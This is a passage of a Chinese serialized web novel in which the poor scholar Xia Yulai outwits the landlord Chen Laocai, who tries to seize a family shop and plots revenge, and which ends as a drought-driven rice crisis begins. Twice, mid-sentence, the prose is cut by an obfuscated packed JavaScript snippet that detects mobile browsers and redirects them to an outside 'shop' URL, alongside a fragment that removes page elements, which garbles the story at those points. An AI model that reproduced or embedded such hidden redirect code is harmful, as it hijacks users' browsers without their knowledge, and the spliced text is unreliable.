——我若不站出来,阿木就没了活路;我若不站出来,百姓就寒了心;我若不站出来,这市井公道,就真的没人守了。” 他望向眼前欢呼的百姓,声音清朗,传遍长街: “诸位乡亲,今日这一仗,不是我夏雨来一个人赢的,是大家一起赢的,是公道赢的。我想告诉大家一句话,也想告诉陈老财一句话: 百姓可以忍,可以让,可以怕,但不是没有底线;市井可以穷,可以苦,可以难,但不能没有公道。你有钱有势,我敬你;你欺压百姓,我就管你。” 百姓齐声高呼:“听夏秀才的!”“有夏秀才在,我们不怕!”“鬼才秀才,侠义无双!” 呼声震天,气势如虹。 这一刻,夏雨来在潮州城东门外,真正立威。不是以权,不是以势,不是以钱,而是以一张嘴、一腹才、一颗心,立起了一面市井公道的大旗。 王伯、阿翠、阿木、林大嫂、陈阿婆……所有被他救过、帮过、撑过的百姓,全都围在他身边,像围着一道光。 夏雨来望着眼前这一张张踏实、安心、欢喜的脸,心中一片澄明。 他不要功名,不要利禄,不要权势。他只要:市井安稳,小贩有摊,百姓有饭,公道常在。 夕阳西下,余晖洒满长街,把青石板染成一片金红。夏雨来的身影,在夕阳里,挺拔如竹,安稳如山。 阿木重新摆好竹篮,收拾好摊位,脸上重新露出活下去的笑容。街市恢复热闹,吆喝声再起,烟火气更胜从前。 而这场夏雨来初斗陈老财、凭一张利口让劣绅吃瘪离场的故事,在这一刻,正式传遍潮州城,成为市井之中,最解气、最痛快、最让人敬仰的一段传奇。 百姓都说:“东门有个夏雨来,敢与老财论是非,一身正气撑街市,穷秀才,胜权贵。” 鬼才秀才夏雨来的市井侠义,从此真正深入人心,无人可挡,无人可欺。 16. 铺面抢夺 一、晨街刚宁,阴云又生 暮春的潮州城,晨光一照,整条东门街便活泛起来。青石板被晒得温热,菜香、茶香、饭香搅在一处,挑夫的号子、小贩的吆喝、妇人的笑骂,揉成一锅热热闹闹的市井烟火。 自上一回夏雨来正面硬撼陈老财、逼得对方吃瘪离场,整条街市像是拔去了心头刺,小贩们腰杆挺直,走路都带风。阿木的竹器摊重新摆得齐整,王伯的青菜日日新鲜,吴算盘的柴米店也规规矩矩再不敢短秤 —— 人人心里都透亮:有夏秀才在,恶者不敢横行,弱者有人撑腰。 夏雨来依旧是那身洗得发白的青布长衫,背着旧书箱,清晨先踱到阿翠的茶摊。铜壶咕嘟吐雾,茶香一飘,半条街都醒了。 “夏雨来,你可算来了。” 阿翠麻利斟上热茶,神色却比往日凝重,“这几日你可得多加小心,陈老财在上回丢了大脸面,回府后大发雷霆,把周福骂得狗血淋头。我听府里跑腿的小厮说,他咽不下这口气,正憋着坏,要在街市上找你报复。” 夏雨来接过茶碗,指尖一暖,仰头抿下半盏,笑意淡淡,眼底却清亮如刀:“报复?他尽管来。我夏雨来一不偷二不抢三不仗势,只凭道理立足。他若安分守己,我敬他是个乡绅;他若再动歪心思,欺压百姓、强夺铺面,我便再给他上一课,让他知道 ——市井公道,不是权势的垫脚石。” 话音刚落,街北中段忽然炸开一阵骚乱。不是吵嘴,不是哭闹,是一种让人心里发紧的死寂 —— 小贩收声、行人止步、连孩童都被大人捂住嘴,整条街像被一只无形的手掐住了喉咙。 夏雨来眉峰一挑,放下茶碗:“来了。” 二、劣绅反扑,铺面临危 街北路口,气氛肃杀。 两个家丁横眉立目把守两头,不许行人靠近;管家周福面色阴鸷,站在一间铺面门口,趾高气扬,如同恶犬守门;而人群中央,陈老财一身锦缎长衫,面沉如水,目光冷厉地盯着铺面门板,仿佛要用眼神把屋子吞下去。 这间铺面,是整条东门街市位置最正、客流最旺、门面最稳的一间好铺。主人姓方,夫妻二人老实本分,开了一家方记杂货铺,卖油盐酱醋、针头线脑、杂货日用品,本本分分经营十几年,街坊邻里人人称道。铺子是方家祖辈传下的产业,是一家人的活命根基、养老指望。 可今日,这铺面成了陈老财的眼中食、囊中物。 方记杂货铺前,方老板夫妇跪在青石板上,哭得撕心裂肺,额头磕出鲜血,死死抱住门槛,不肯松手。 “陈老爷!求您行行好!这铺子是我家祖传的!是我们一家老小的命啊!” 方老板声音嘶哑,血泪齐流,“您有钱有势,什么样的铺面买不到?为什么非要抢我们这一间小铺子!” 方嫂更是哭得晕厥过去,被街坊扶住,半晌才悠悠醒转,一把抱住陈老财的裤腿:“老爷!我们给您做牛做马!求求您别抢铺子!我们没了铺子,就只能露宿街头、饿死街头啊!” 陈老财一脚踹开方嫂,眼神冷漠如冰,没有半分怜悯。 “祖传?” 他冷笑一声,声音压得整条街都发抖,“在潮州城,老夫看上的东西,就是老夫的。祖传又如何?百姓活路又如何?今日给你们两条路:一、乖乖写下退铺契,卷铺盖滚人,老夫留你们一条全尸;二、硬抗到底,我叫人把你们夫妇打断双腿,把铺子拆平,让你们死在这门口!” 周福立刻上前,抖开一张早已写好的退铺契约,狞声道:“看见没有?契约都给你们备好了!按手印!不然今日就让你们夫妻横死街头!” “我不按!死也不按!” 方老板死死抱住门框,宁死不屈。 周围百姓围得里三层外三层,个个气得浑身发抖,却没人敢上前。陈老财在上回吃瘪后,本就憋了一肚子火,今日是存心来立威、来报复、来强夺,谁拦谁倒霉。 “太霸道了!这简直是明抢啊!”“方家夫妇老实一辈子,从没得罪过人,怎么就遇上这种灭门之灾!”“可我们能有什么办法?他是陈老财,有权有势,连官府都要让他三分……” 议论声里,满是市井小民的绝望与心酸。 陈老财见百姓敢怒不敢言,气焰更加嚣张,抬手一挥:“来人!把这对不识好歹的狗男女拖走!砸门!清铺!” 家丁们如狼似虎,举起棍棒,就要动手伤人、毁门夺铺! 方家夫妇绝望闭眼,泪如雨下,只待一死。 就在这千钧一发、铺面即将被夺、人命悬于一线的一刻 —— 一个清亮、从容、不带半分怯意,却字字如剑的声音,从人群最前方,缓缓飘起,刺破满场戾气: “陈老爷,又见面了。上一回街市抢摊,学生劝老爷以名声为重,以公道为先;今日上门夺铺,逼得人家破人亡,难道潮州城的王法、市井的良心、老爷的体面,在您眼里,就一文不值吗?” 声音不大,却如惊雷落地。全场死寂一瞬。 所有人同时转头望去。 青布长衫,负手而立,旧书箱稳稳贴在后背,眉目平静,眼神清澈,没有半分畏惧,只有一身书生意气,稳稳站在街心,挡在了方家夫妇与陈府家丁之间。 正是夏雨来。 他来了。正面迎上陈老财的疯狂反扑。 三、首计:稳人定心,拆破谎言 陈老财猛地转头,阴鸷的目光如毒箭般射向夏雨来,咬牙切齿,一字一顿: “夏 — 雨 — 来!又是你!” 上一回在街市被这穷秀才当众逼退,颜面尽失,成了潮州城百姓背地里的笑柄。这口气,陈老财从日出憋到日落,从街头咽到心窝,如今正要靠夺铺立威,偏偏夏雨来又跳出来挡路。 新仇旧恨,一起涌上心头。 周福立刻上前,指着夏雨来破口大骂:“狂生!你竟敢一再阻挠我家老爷办事!上回是你坏了好事,今日还敢多嘴!信不信我当场打断你的腿,扔出东门街!” 夏雨来目光淡淡扫过周福,语气平静如镜:“我一不犯法,二不违律,三不欺人。街市之上,论公道,讲事理,我为何不能多嘴?倒是你家老爷 ——无凭无据,上门夺铺,威逼良善,逼人家破人亡,这是乡绅所为,还是强盗所为?” 一句话,直指要害。 陈老财气得胸口剧烈起伏,却依旧强装体面,冷声道:“夏雨来,你少在这里妖言惑众!这铺面,老夫是花钱买下的,有契约为证!” “哦?契约?” 夏雨来故作惊讶,往前走了一步,眼神狡黠如狐,“学生最爱看契约文书,最懂律法条文。不知老爷可否把这‘买卖契约’拿出来,让学生与诸位街坊乡亲,一起开开眼、评评理?” 他故意把 “买卖契约” 四个字咬得极重,摆明了 ——我知道你是伪造的,你敢拿出来,我就敢当众拆穿。 陈老财脸色微变。那份契约,根本不是买卖文书,而是他威逼利诱、找人模仿笔迹、伪造签字的假退铺契,漏洞百出,经不起半点推敲。 “放肆!老夫的契约,也是你这穷酸秀才能看的?” 陈老财厉声呵斥,强行遮掩心虚。 “不能看?” 夏雨来立刻抓住话柄,声音陡然提高,传遍整条街,“诸位乡亲都听见了!陈老爷说他有买卖契约,可却不敢拿出来当众查验!这说明什么?说明契约是假的!说明铺子是抢的!说明他从头到尾,就是明刀明枪,欺压良善,强夺民产!” 最后一句,如刀劈下! 百姓瞬间哗然! “假契约!果然是明抢!”“陈老财太黑心了!伪造文书,强抢铺面,简直无法无天!”“夏秀才说得对!我们都看在眼里!” 人多势众,气势一振,百姓的腰杆,一点点挺直。 陈老财脸色由白转青,由青转黑,冷汗顺着额头往下淌。他万万没想到,夏雨来第一招,就是先稳人心、再扣帽子、后拆谎言,一句话就把他架在 “伪造契约、强抢民产” 的火上烤。 四、第二计:引蛇出洞,抓住把柄 夏雨来见第一计奏效,立刻趁热打铁,抛出第二计 ——引蛇出洞,逼对方露凶相。 他不慌不忙,对着陈老财拱手一揖,语气看似恭敬,实则步步紧逼: “陈老爷,学生知道,您是大户人家,最重名声体面。今日之事,必定是误会一场。学生给老爷指一条两全之路,既保老爷体面,又保百姓活路,不知老爷愿不愿听?” 陈老财一愣,咬牙道:“你说!” 夏雨来朗声道:“第一,立刻收回家丁,不许伤人、不许砸门、不许威逼;第二,把伪造的假契烧了,从此不再提夺铺之事;第三,当众向方家夫妇赔一句不是,此事就此揭过。 如此一来,老爷依旧是体面乡绅,方家依旧能安稳过日子,街市依旧太平,百姓依旧敬重老爷。这,不是两全其美吗?” 这番话说得滴水不漏,给足了陈老财台阶,也给了全城百姓一个交代。 可陈老财今日是存心报复、志在必夺,哪里肯听?他被夏雨来一逼再逼,一激再激,终于恼羞成怒,彻底撕破脸皮,厉声嘶吼: “两全其美?老夫告诉你!今日这铺面,老夫抢定了!天王老子来也拦不住!夏雨来,你再敢多嘴多舌,挡老夫的路,我先把你这穷酸秀才,活活打死,扔去喂狗!” 此话一出,全场死寂。 当众扬言杀人、行凶伤人、无法无天!这一句话,比任何证据都更致命! 夏雨来要的,就是这句话! 他脸上瞬间露出 “痛心疾首” 的表情,猛地转头,对着全场百姓,声嘶力竭,字字泣血: “诸位乡亲!你们都听见了!都听见了!陈老财亲口承认!他要强抢民铺!他要伪造文书!他要当众行凶、打死学生、欺压良善! 这不是乡绅!这是 ** 强盗!恶霸!吃人不吐骨头的恶绅!” 话音落下,百姓积压已久的怒火,彻底爆发! “太过分了!简直是强盗!”“光天化日,朗朗乾坤,竟敢当众杀人夺铺!还有王法吗!”“我们不答应!坚决不答应!” 呼声震天,气势排山倒海! 家丁们吓得连连后退,不敢再上前;周福面如死灰,手足无措;陈老财站在人群中央,被上百道愤怒的目光盯着,浑身发抖,孤立无援。 他这才猛然惊醒 ——自己中计了!夏雨来故意用话激他,逼他当众发狂、当众口出狂言,留下铁一般的把柄! 现在,他就算想退,也下不来台了。 五、第三计:借势官府,釜底抽薪 夏雨来见火候已到,立刻启动最致命的第三计:借势官府,釜底抽薪。 他不慌不忙,从怀中取出一卷小小的、折叠整齐的纸张,高高举起,让所有人都能看见,声音清亮如钟: “诸位乡亲!诸位父老!学生早知陈老财心怀不轨,必会上门夺铺,因此昨夜提前赶往府衙,拜见知县大人!大人清廉公正,最恨劣绅欺压百姓、强夺民产!大人亲口吩咐:‘若陈老财敢上门闹事、强抢铺面,不必争执,不必动手,立刻派人禀报,本官亲自带人前来,秉公审理,绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446911|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不姑息!’” 他举起手中纸条,朗声道:“这是知县大人的亲笔手令!见令如见官!陈老财,你敢违抗官府命令,当众行凶夺铺吗?” 其实,这纸条根本不是什么手令,只是夏雨来昨夜随手写的一篇短文。但他神态笃定、声音铿锵、动作威严,再加上百姓一呼百应、气势如虹,谁也看不出破绽,谁也不敢不信。 陈老财一看那纸条,再一听 “知县大人” 四个字,魂飞魄散! 他最清楚知县大人的脾气 —— 清廉刚正,最恨劣绅横行。若是真把官府引来,当众查实他伪造文书、强夺民铺、当众行凶,别说铺面抢不到,就连他的家产、地位、名声,都要一起完蛋! 轻则罚款重罚,重则革去乡绅头衔,甚至打入大牢,身败名裂! 一瞬间,陈老财所有的嚣张、所有的狠厉、所有的气焰,如同被泼了一盆冰水,彻底熄灭! 他双腿一软,差点瘫倒在地。 周福更是吓得面无人色,连忙拉住陈老财的衣袖,颤声道:“老爷!使不得!使不得!官府一来,我们全完了!” 夏雨来见状,上前一步,语气放缓,却依旧不容抗拒,给陈老财最后一个台阶: “陈老爷,事已至此,学生再劝您最后一句:见好就收,保全体面。立刻带人离开,从此不再提夺铺之事,今日之事,学生可以不禀报官府,百姓也可以不再追究。 您依旧是潮州乡绅,依旧家财万贯,依旧体面风光。 若是再执迷不悟,官府一到,身败名裂,牢狱之灾,就在眼前!” 软硬兼施,恩威并济。给活路,也给死路;给面子,也给底线。 陈老财站在原地,浑身发抖,眼神怨毒如刀,死死盯着夏雨来,恨不得将他生吞活剥。可他不敢,不能,也做不到。 他输了。输得一败涂地。输在一个穷秀才的连环计下。输在人心,输在公道,输在官府威势。 良久,陈老财缓缓吐出一口浊气,声音冷得像冰,一字一顿: “夏雨来…… 老夫…… 记住你了。” 夏雨来微微一揖,不卑不亢:“学生随时听候老爷教诲,只论公道,不论私怨。” 陈老财不再看他,猛地一甩衣袖,发出一声凄厉的嘶吼: “走!都给我走!” 他转身就走,脚步踉跄,背影狼狈,再无半分来时的威风。周福与家丁们如蒙大赦,连滚带爬,狼狈逃窜,瞬间消失在街口。 直到陈老财一行人彻底消失不见,整条东门街,才爆发出山呼海啸般的欢呼与掌声! “赢了!我们赢了!”“夏秀才连环计斗赢陈老财!保住了方家铺面!”“鬼才秀才!侠义无双!”“以后我们再也不怕陈老财了!” 欢呼声、鼓掌声、叫好声,震得整条街都在颤动。 六、铺面得保,万民安心 方家夫妇扑到夏雨来面前,“扑通” 一声跪倒,泪如雨下,连连磕头: “夏秀才!您是我们全家的救命恩人!是再生父母!我们下辈子做牛做马,也要报答您的大恩大德!” “快起来!快起来!” 夏雨来连忙扶起二人,语气温和,“我不是救你们一家,我是救市井公道,救所有被欺压的百姓。你们靠本分做生意,靠良心过日子,这铺子,谁也抢不走,谁也不能抢!” 街坊百姓围了上来,对着夏雨来拱手作揖,眼神里满是敬佩、崇拜、感激。 “夏秀才,你真是神人!连环计一环扣一环,把陈老财耍得团团转!”“先稳人心,再抓把柄,后借官府,三招就把老狐狸治得服服帖帖!”“有你在,我们东门街,就永远太平!” 阿翠端着热茶挤到夏雨来身边,眼眶微红,声音都在颤抖:“夏雨来,你刚才真的吓死我了…… 他那么凶,又要杀人又要抢铺,你就真的一点都不怕吗?” 夏雨来接过茶碗,指尖一暖,仰头喝下,笑道:“怕。我当然怕。我怕他真的动手伤人,我怕方家夫妇真的家破人亡,我怕市井公道真的被踩在脚下。 可我更知道 ——** 恶者看似嚣张,实则心虚;百姓看似弱小,实则众志成城。我一个人站出来,是一盏灯;大家一起站出来,就是一片光。光一照,黑暗就散了。” 他望向眼前欢呼的百姓,声音清朗,传遍长街: “诸位乡亲,今日这一仗,不是我夏雨来一个人赢的,是大家一起赢的,是人心赢的,是公道赢的! 我在这里立一句誓言:只要我夏雨来在潮州城一日,就不许有人强抢民产,不许有人欺压良善,不许有人毁百姓活路,不许有人坏市井公道!” 百姓齐声高呼:“听夏秀才的!”“有夏秀才,我们不怕!”“鬼才秀才,侠义无双!” 呼声震天,气势如虹。 方记杂货铺的门板保住了,铺面保住了,一家人的活路保住了。方老板夫妇重新打开店门,挂上招牌,擦拭干净门板,仿佛重获新生。街坊们纷纷进店买东西,用实际行动支持这对饱经磨难的老实夫妻。 夕阳西下,余晖洒满长街,把青石板染成一片温暖的金红。夏雨来的身影,在夕阳里,挺拔如竹,安稳如山。 自此,夏雨来连环三计斗老财、虎口夺铺保民生的故事,一夜之间传遍潮州城。 百姓都说:“夏秀才,真是智谋无双,一环扣一环,一计破一难,恶绅胆寒,百姓心安,东门街有个夏雨来,强取豪夺不敢来!” 而鬼才秀才夏雨来的市井侠义传奇,仍在继续,愈发光彩夺目,深入人心。 17. 巧借官威 一、风波暂歇,暗流更急 暮春的潮州城,一连几日晴好,日光把东门街晒得暖洋洋,连风里都飘着茶香、饭香、菜香,一派安稳烟火。 上一回夏雨来连环三计保住方家铺面,逼得陈老财狼狈逃窜、颜面尽失,消息像长了翅膀,一夜飞遍潮州城。从此街市之上,小贩腰杆更直,百姓走路更稳,连说话都多了三分底气 —— 人人心里都透亮:有夏秀才在,恶绅不敢横行,平民有人撑腰。 夏雨来依旧是那身洗得发白的青布长衫,背着旧书箱,清晨先到阿翠茶摊喝一碗热茶,再沿街慢悠悠走上一圈。如今他走到哪里,哪里就多一分安稳,百姓见了他,无不拱手问好,一口一个 “夏秀才”,眼神里满是敬重。 “夏雨来,你如今可是潮州城百姓的主心骨了。” 阿翠将热茶递到他手上,眼尾含笑,语气却依旧带着担忧,“只是你接连坏了陈老财好几桩大事,抢摊、高利贷、铺面,他丢的脸面一次比一次大,我听府里小厮说,他这几日闭门不出,正在琢磨阴毒招数,要对你下手报复。” 夏雨来指尖摩挲着瓷碗,笑意淡去几分,眼底却清亮如刀:“阿翠娘子,我从不惹事,可从不怕事。他陈老财有钱有势、家大业大,我夏雨来无官无爵、身无分文,但我有市井人心、一腹道理、一张利口。他若安分守己,我敬他一声乡绅;他若再动歪心思,耍阴招、害百姓、搞报复,我便让他知道 ——权势再大,大不过王法;钱财再多,多不过人心。” 他嘴上说得平静,心里却比谁都清楚:陈老财这种劣绅,吃亏一次,会忍;吃亏两次,会恨;吃亏三次,会疯。上一回夺铺不成,对方已经撕破脸皮,接下来必定是阴招、毒计、栽赃、陷害,无所不用其极。 硬顶,不行;硬躲,不行;硬告官,容易被反咬一口。 夏雨来眼底闪过一丝狡黠。对付疯狗,不能只靠棍子,要靠声势。对付劣绅,不能只靠口舌,要靠靠山。而他最大的靠山,不是别人,正是潮州府衙,是王法,是官威。 不告官、不送礼、不攀附、不结党,只借一股无形的势,不动声色,压得陈老财抬不起头,伸不出手,迈不开腿。 这便是他今日要布的局 ——巧借官威,不战而屈人之兵。 二、劣绅磨刀,杀气暗生 同一时刻,陈府深处,气氛阴鸷如冰。 宽敞华丽的厅堂里,名贵瓷器碎了一地,茶水、点心洒得满地都是。陈老财坐在太师椅上,脸色铁青,双目赤红,胸口剧烈起伏,显然已经怒到极致。 下方,管家周福跪在地上,瑟瑟发抖,头也不敢抬。 “废物!全是废物!” 陈老财抓起桌上茶杯,狠狠砸在地上,“啪” 的一声脆响,“一连三次!三次都被一个穷酸秀才坏了大事!抢摊不成,放贷不成,夺铺不成!我陈老财在潮州城横行几十年,什么时候受过这种屈辱!什么时候被人骑在头上拉屎撒尿!” 周福吓得浑身发抖,颤声道:“老爷息怒…… 是那夏雨来太狡猾,嘴皮子厉害,又会煽动百姓,我们…… 我们实在防不胜防……” “防不胜防?” 陈老财厉声嘶吼,“我不管他狡猾不狡猾!我只要他消失!只要他再也不能在潮州城立足!只要他再也不能坏我的事!你告诉我,现在怎么办!” 周福连忙爬前两步,压低声音,献上毒计:“老爷,硬来不行,我们来软的、来阴的!第一,我们花钱买通街上地痞,夜里偷偷砸他住处,烧他书箱,让他知道厉害;第二,我们找几个闲人,编造谣言,污蔑他品行不端、勾搭妇人、坑骗百姓,坏他名声;第三,我们买通府衙小吏,寻个由头,把他抓进大牢,随便安个罪名,关他几个月,他自然就老实了!” 一条条毒计,阴狠歹毒,刀刀致命。 陈老财听着,脸色渐渐阴鸷,眼神里闪过一丝狠厉:“好…… 好计策!越是阴毒,越是解气!就按你说的办!先坏他名声,再断他生路,最后送他进大牢!我要让整个潮州城都知道,得罪我陈老财,是什么下场!” “是!小人这就去办!” 周福连忙应下,起身就要去安排。 “等等!” 陈老财忽然抬手拦住他,眼神阴鸷如鹰,“行事小心,千万不能留下把柄,更不能惊动知县大人。那位太爷清廉刚正,最恨我等欺压百姓,一旦被他抓住证据,我们全都要玩完!” “小人明白!小人一定做得隐秘至极!” 周福连连点头,快步退了出去。 厅堂里只剩下陈老财一人。 他望着窗外,眼神怨毒如刀,一字一顿,咬牙切齿: “夏雨来…… 这是你逼我的……你不让我活,我也不让你死得痛快!潮州城,只能有一个主人,只能是我 —— 陈 — 老 — 财!” 杀机,在府中暗生;阴云,向东门街笼罩。 而这一切,都被夏雨来提前算到。 三、秀才布局,借势无形 次日清晨,天刚蒙蒙亮,夏雨来起得比平时更早。 他依旧穿着那件青布长衫,却特意整理得格外齐整,头发梳得一丝不苟,旧书箱擦得干干净净,看上去斯文得体,气度俨然,像一位正要赴官府讲学的正经秀才。 阿翠看得一愣:“夏雨来,你今日怎么这般正式?要去赴宴?” 夏雨来接过热茶,微微一笑,语气神秘:“不是赴宴,是赴势。” “赴势?” “不错。” 夏雨来仰头喝尽茶水,放下瓷碗,眼神清亮,“阿翠娘子,你今日看好戏。我不出手、不骂人、不告状、不送礼,只走一趟街,见一个人,就能让陈老财的所有毒计,胎死腹中,让他从此不敢再动我分毫。” “真有这么神奇?” 阿翠半信半疑。 “你且看着。” 夏雨来拱手一笑,长衫一摆,步履从容,径直向潮州府衙方向走去。 他没有走侧门,没有走小路,而是大摇大摆、从从容容,沿着东门街最热闹、人最多的主街,一路向北。 一路上,百姓纷纷问好:“夏秀才早!”“夏秀才这是要去哪里?” 夏雨来一律微笑点头,拱手回礼,却不多说话,脚步不停,神色庄重,气度沉稳,仿佛身负重大使命。 百姓看在眼里,心里立刻犯嘀咕:“夏秀才神色这么庄重,莫不是官府找他?”“看这样子,像是去府衙办事!”“难道夏秀才跟官府有交情?” 流言像风一样,悄无声息,在街市上传开。 这正是夏雨来要的第一步 ——先造声势,让百姓先信他 “与官府有往来”。 走到府衙门口,他并没有立刻进去,而是在门口不远处的一棵老槐树下,静静站定。 他目光平静,望着府衙大门,既不喧哗,也不吵闹,更不击鼓鸣冤,只是安安静静站着,像在等人,又像在待命。 守门的两个差役见他是秀才打扮,气度不凡,又安安静静不闹事,也不上前驱赶,只是好奇地多看了两眼。 这一站,就是小半个时辰。 街上路过的百姓、挑夫、小贩,全都看在眼里:“夏秀才在衙门口站了好久!”“肯定是官府请他!”“怪不得他敢跟陈老财斗,原来背后有官府撑腰!” 流言越传越真,越传越神。 而这一切,都被陈老财派出来打探消息的眼线,看在眼里,记在心里,慌慌张张,飞奔回府禀报。 四、眼线回报,老财心惊 陈府内,陈老财正坐在厅堂,闭目养神,等着周福的好消息。 周福已经安排妥当:地痞已经买通,谣言已经编好,府衙小吏已经打点完毕,只等天黑,就一齐动手,把夏雨来往死里整。 陈老财嘴角勾起一抹阴狠的笑。他仿佛已经看到夏雨来被砸得头破血流、被谣言骂得身败名裂、被抓进大牢哭爹喊娘的惨状。 就在这时 —— “老…… 老爷!不好了!大事不好了!” 眼线连滚带爬,冲进厅堂,脸色惨白,气喘吁吁。 陈老财眉头一皱,不悦道:“慌什么!天塌不下来!是不是夏雨来那边有消息了?” “是…… 是夏雨来!” 眼线上气不接下气,“他…… 他现在就在府衙大门口,站了小半个时辰!神色庄重,像是在等官府的人接见!好多百姓都看见了,都说…… 都说夏秀才跟官府有交情,是官府的人!” “什么?!” 陈老财猛地一拍桌子,站起身,脸色骤变,眼神里满是震惊与不信:“你说什么?他在府衙门口?还站了小半个时辰?” “是…… 是真的!小的亲眼所见!” 眼线连连点头,“好多人都看见了,街上都传遍了,说夏秀才背景不简单,连官府都要给他面子!” 陈老财瞬间脸色惨白,踉跄后退一步,扶住桌子,才没有摔倒。 一股寒意,从脚底直冲头顶。 他最害怕、最担心、最忌讳的事情,还是发生了! 他一直怀疑夏雨来背后有人,却没想到,竟然是府衙! 知县大人清廉刚正,从不与他同流合污,早就对他的所作所为不满。若是夏雨来真的跟官府搭上了线,成了官府的人,那他之前的所有勾当 —— 高利贷、强占摊位、夺铺、欺压百姓,一旦被捅到知县面前,他必死无疑! 家产抄没,乡绅革除,牢狱之灾,身败名裂! 一瞬间,陈老财浑身冷汗淋漓,衣衫尽湿。 周福也慌了,脸色惨白,颤声道:“老…… 老爷,这…… 这怎么办?若是夏雨来真有官府撑腰,我们的计划…… 怕是不能动了…… 一动,就被抓个正着!” “蠢货!还用你说!” 陈老财厉声嘶吼,却底气不足,“现在还动个屁!动一下就是死路一条!夏雨来站在衙门口,摆明了是敲山震虎!是告诉我们,他有官府撑腰,让我们别动歪心思!他这是不动声色,挖好坑,等着我们跳进去!” 他活了一辈子,第一次被一个年轻人,玩得如此透彻。 不告官,不送礼,不攀附,只在衙门口站一站,就吓得他所有毒计,全部作废! 这哪里是秀才,这分明是鬼才! 陈老财浑身发抖,咬牙切齿,却又无可奈何。 他输了。还没动手,就已经输了。输在气势,输在人心,输在这一股无形的官威之下。 五、传命收手,阴招尽废 “老爷…… 那…… 那我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他依旧是那件青布长衫,依旧是那只旧书箱,依旧是那副从容不迫的笑意。仿佛刚才什么都没发生,仿佛他只是出门散了个步,看了回风景。 可只有他自己知道:刚才那一立,立下的是气势,是底气,是市井公道的靠山。 回到东门街,刚一露面,百姓立刻围了上来,眼神里满是敬畏与好奇。 “夏秀才!你真的去见官府了?”“是不是知县大人请你过去说事?”“以后陈老财再也不敢欺负我们了吧?” 夏雨来微微一笑,拱手一圈,语气诙谐又坦荡: “诸位乡亲,小生谁也没见,谁也没求,谁的礼也没送,谁的情也没欠。我只是去府衙门口,吹了吹风,晒了晒太阳。至于陈老财……从今往后,他不敢再动,不敢再闹,不敢再欺压百姓,不敢再坏市井安稳。 因为他心里比谁都清楚 ——潮州城有王法,有官府,有公道,还有我们这千千万万条心,拧成一股绳。谁也不能横行霸道,谁也不能只手遮天。” 一番话,不卑不亢,诙谐有力,说得百姓心头大亮,齐声欢呼! “好!说得太好了!”“夏秀才太厉害了!不费一兵一卒,就把陈老财治得服服帖帖!”“以后我们终于可以安安稳稳过日子了!” 欢呼声,响彻整条东门街。 七、茶摊笑谈,鬼才心迹 阿翠端着一碗热气腾腾的茶,快步走到夏雨来面前,眼睛亮晶晶的,满眼都是崇拜与敬佩: “夏雨来,你真是我见过最厉害的人!别人斗陈老财,靠打、靠闹、靠告状;你斗陈老财,只在衙门口站一站,不告官,不送礼,不求人,不结党,就吓得他收手认输,再也不敢报复。你这一肚子智谋,到底是怎么长的?” 夏雨来接过茶碗,指尖一暖,仰头喝下小半盏,浑身舒坦,笑着摆手: “我哪有什么智谋,我只是懂一个道理 ——劣绅怕官,奸人怕势,恶人怕众。陈老财不怕我一个人,但他怕官府,怕王法,怕百姓齐心。我不过是把他最怕的东西,轻轻摆在他眼前,让他自己看,自己怕,自己收手。 这就叫 ——巧借官威不沾身,不动声色定乾坤。” 他望向眼前热热闹闹、平平安安的街市,眼神清澈而坚定: “阿翠娘子,你看。恶霸可治,奸商可拆,恶奴可驯,骗局可破,阴招可废,劣绅可压。 我不要功名,不要利禄,不要权势,我只要这潮州城的市井里:百姓不受欺负,小贩安稳摆摊,邻里和睦相处,公道自在人心。这,就是我夏雨来,一生所愿。” 风一吹,他的青布长衫轻轻摆动。穷秀才的身影,在晨光里,挺拔如竹,安稳如山。 自此,夏雨来巧借官威、不动声色压老财的故事,传遍潮州城,成为市井百姓口中最传奇、最解气、最佩服的一段佳话。 百姓都说:“夏秀才,真是鬼才无双,不告官,不送礼,衙门口一站,老财心胆寒,市井得平安。” 而鬼才秀才夏雨来的市井侠义传奇,仍在继续,愈发光彩夺目,深入人心。 18. 粮店囤货 一、旱魃作祟,粮市起风 暮春的潮州城,本该是雨润风柔、五谷初生的好时节,偏偏今年老天爷犯了倔 —— 自入春以来,滴雨未下。日头像个烧红的铜盆,悬在头顶烤了整月,城外稻田干裂如龟纹,河沟见底露石,连城隍庙前的老槐树都蔫了枝叶,卷了叶片,没了往日的精气神。 东门街的市井烟火,也被这旱情烤得没了滋味。 往日里喧闹的粮市,如今冷冷清清,只剩几家粮店开门,却个个门板半掩,米价一日三涨,涨得百姓心惊肉跳。上回夏雨来巧借官威压退陈老财,街市刚安稳没几日,这粮荒一来,人心又慌了,街头巷尾,全是唉声叹气。 “米价又涨了!昨天还是八文一斤,今天就涨到十二文了!” “再这么涨下去,日子没法过了!一家老小,顿顿都要喝西北风!” “听说城西‘李记粮行’的李剥皮,把粮仓全锁了,说要等涨到二十文才卖!” 议论声低低的,带着绝望与焦虑,像一层阴云,笼罩在东门街上空。 夏雨来依旧是那身洗得发白的青布长衫,背着旧书箱,清晨到阿翠茶摊时,往日里热闹的茶摊,今日也冷清了不少。阿翠端茶的手都在抖,眼圈红红的,显然也在为粮事发愁。 “夏雨来,你可来了。” 阿翠把茶碗往他面前一放,声音哽咽,“这日子怎么过啊!我爹昨天去买米,李剥皮的粮行已经涨到十五文一斤了,还限量,每人只能买两斤。我家三口人,两斤米只够吃一天,往后可怎么办?” 夏雨来指尖摩挲着温热的瓷碗,眼神沉了沉。 粮是百姓的命根子。 谷贱伤农,谷贵伤民 —— 这是千古不变的道理。 